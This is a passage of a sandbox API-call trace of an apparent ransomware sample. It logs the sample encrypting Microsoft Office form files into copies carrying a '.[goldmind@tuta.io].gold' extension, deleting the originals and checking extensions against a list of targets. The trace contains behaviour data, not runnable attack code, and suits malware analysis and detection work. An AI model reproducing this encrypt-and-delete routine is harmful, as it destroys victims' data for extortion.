(lpString="DISTLIST.CFG") returned 12 [0112.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.859] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=805) returned 1 [0112.859] CloseHandle (hObject=0x3ec) returned 1 [0112.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 0x20 [0112.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.880] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.880] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0112.881] GetLastError () returned 0x0 [0112.881] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x325, lpOverlapped=0x0) returned 1 [0112.884] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x330, lpOverlapped=0x0) returned 1 [0112.885] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.885] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.885] SetEndOfFile (hFile=0x3c0) returned 1 [0112.886] CloseHandle (hObject=0x3c0) returned 1 [0112.886] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.886] SetEndOfFile (hFile=0x3ec) returned 1 [0112.888] CloseHandle (hObject=0x3ec) returned 1 [0112.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 1 [0112.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.891] lstrlenW (lpString=".doc") returned 4 [0112.892] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString=".docx") returned 5 [0112.892] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0112.892] lstrlenW (lpString=".pdf") returned 4 [0112.892] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString=".xls") returned 4 [0112.892] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString=".xlsx") returned 5 [0112.892] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0112.892] lstrlenW (lpString=".ppt") returned 4 [0112.892] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.892] lstrlenW (lpString=".zip") returned 4 [0112.892] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString=".rar") returned 4 [0112.892] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString=".bz2") returned 4 [0112.892] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.892] lstrlenW (lpString=".7z") returned 3 [0112.892] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.892] lstrlenW (lpString=".dbf") returned 4 [0112.892] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.892] lstrlenW (lpString=".1cd") returned 4 [0112.892] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.892] lstrlenW (lpString=".jpg") returned 4 [0112.892] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.892] lstrlenW (lpString=".doc") returned 4 [0112.892] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.892] lstrlenW (lpString=".docx") returned 5 [0112.892] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0112.893] lstrlenW (lpString=".pdf") returned 4 [0112.893] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.893] lstrlenW (lpString=".xls") returned 4 [0112.893] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.893] lstrlenW (lpString=".xlsx") returned 5 [0112.893] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0112.893] lstrlenW (lpString=".ppt") returned 4 [0112.893] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.893] lstrlenW (lpString=".zip") returned 4 [0112.893] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.893] lstrlenW (lpString=".rar") returned 4 [0112.893] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.893] lstrlenW (lpString=".bz2") returned 4 [0112.893] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.893] lstrlenW (lpString=".7z") returned 3 [0112.893] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.893] lstrlenW (lpString=".dbf") returned 4 [0112.893] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.893] lstrlenW (lpString=".1cd") returned 4 [0112.893] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0112.893] lstrlenW (lpString=".jpg") returned 4 [0112.893] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.893] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.893] lstrlenW (lpString="DISTLSTL.ICO") returned 12 [0112.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.895] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0112.895] CloseHandle (hObject=0x3ec) returned 1 [0112.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 0x20 [0112.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.896] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.896] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.639] GetLastError () returned 0x0 [0113.639] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0113.640] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0113.641] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.641] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.641] SetEndOfFile (hFile=0x3f8) returned 1 [0113.641] CloseHandle (hObject=0x3f8) returned 1 [0113.641] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.641] SetEndOfFile (hFile=0x3ec) returned 1 [0113.643] CloseHandle (hObject=0x3ec) returned 1 [0113.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 1 [0113.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.685] lstrlenW (lpString=".doc") returned 4 [0113.685] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.685] lstrlenW (lpString=".docx") returned 5 [0113.685] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0113.685] lstrlenW (lpString=".pdf") returned 4 [0113.685] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.685] lstrlenW (lpString=".xls") returned 4 [0113.685] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.685] lstrlenW (lpString=".xlsx") returned 5 [0113.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0113.685] lstrlenW (lpString=".ppt") returned 4 [0113.685] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.685] lstrlenW (lpString=".zip") returned 4 [0113.685] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.685] lstrlenW (lpString=".rar") returned 4 [0113.685] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.685] lstrlenW (lpString=".bz2") returned 4 [0113.685] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.685] lstrlenW (lpString=".7z") returned 3 [0113.685] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.685] lstrlenW (lpString=".dbf") returned 4 [0113.685] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.685] lstrlenW (lpString=".1cd") returned 4 [0113.685] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.685] lstrlenW (lpString=".jpg") returned 4 [0113.685] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.686] lstrlenW (lpString=".doc") returned 4 [0113.686] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.686] lstrlenW (lpString=".docx") returned 5 [0113.686] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0113.686] lstrlenW (lpString=".pdf") returned 4 [0113.686] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.686] lstrlenW (lpString=".xls") returned 4 [0113.686] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.686] lstrlenW (lpString=".xlsx") returned 5 [0113.686] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0113.686] lstrlenW (lpString=".ppt") returned 4 [0113.686] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.686] lstrlenW (lpString=".zip") returned 4 [0113.686] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.686] lstrlenW (lpString=".rar") returned 4 [0113.686] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.686] lstrlenW (lpString=".bz2") returned 4 [0113.686] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.686] lstrlenW (lpString=".7z") returned 3 [0113.686] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.686] lstrlenW (lpString=".dbf") returned 4 [0113.686] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.686] lstrlenW (lpString=".1cd") returned 4 [0113.686] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0113.686] lstrlenW (lpString=".jpg") returned 4 [0113.686] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.686] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0113.686] lstrlenW (lpString="DOCS.ICO") returned 8 [0113.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0113.688] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2998) returned 1 [0113.688] CloseHandle (hObject=0x3c0) returned 1 [0113.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 0x20 [0113.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0113.688] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.688] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0113.689] GetLastError () returned 0x0 [0113.689] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0113.716] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0113.717] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.717] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0113.717] SetEndOfFile (hFile=0x3a0) returned 1 [0114.124] CloseHandle (hObject=0x3a0) returned 1 [0114.125] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.125] SetEndOfFile (hFile=0x3c0) returned 1 [0114.537] CloseHandle (hObject=0x3c0) returned 1 [0114.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 1 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString=".doc") returned 4 [0114.539] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.539] lstrlenW (lpString=".docx") returned 5 [0114.539] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.539] lstrlenW (lpString=".pdf") returned 4 [0114.539] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".xls") returned 4 [0114.539] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".xlsx") returned 5 [0114.539] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.539] lstrlenW (lpString=".ppt") returned 4 [0114.539] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString=".zip") returned 4 [0114.539] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".rar") returned 4 [0114.539] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".bz2") returned 4 [0114.539] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.539] lstrlenW (lpString=".7z") returned 3 [0114.539] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString=".dbf") returned 4 [0114.539] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString=".1cd") returned 4 [0114.539] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString=".jpg") returned 4 [0114.539] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString=".doc") returned 4 [0114.539] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.539] lstrlenW (lpString=".docx") returned 5 [0114.539] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.539] lstrlenW (lpString=".pdf") returned 4 [0114.539] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".xls") returned 4 [0114.539] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".xlsx") returned 5 [0114.539] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.539] lstrlenW (lpString=".ppt") returned 4 [0114.539] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.539] lstrlenW (lpString=".zip") returned 4 [0114.539] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".rar") returned 4 [0114.539] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.539] lstrlenW (lpString=".bz2") returned 4 [0114.539] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.540] lstrlenW (lpString=".7z") returned 3 [0114.540] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.540] lstrlenW (lpString=".dbf") returned 4 [0114.540] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.540] lstrlenW (lpString=".1cd") returned 4 [0114.540] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0114.540] lstrlenW (lpString=".jpg") returned 4 [0114.540] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.540] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.540] lstrlenW (lpString="NOTEL.ICO") returned 9 [0114.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.002] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0115.002] CloseHandle (hObject=0x230) returned 1 [0115.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico")) returned 0x20 [0115.002] GetFileAttributesW 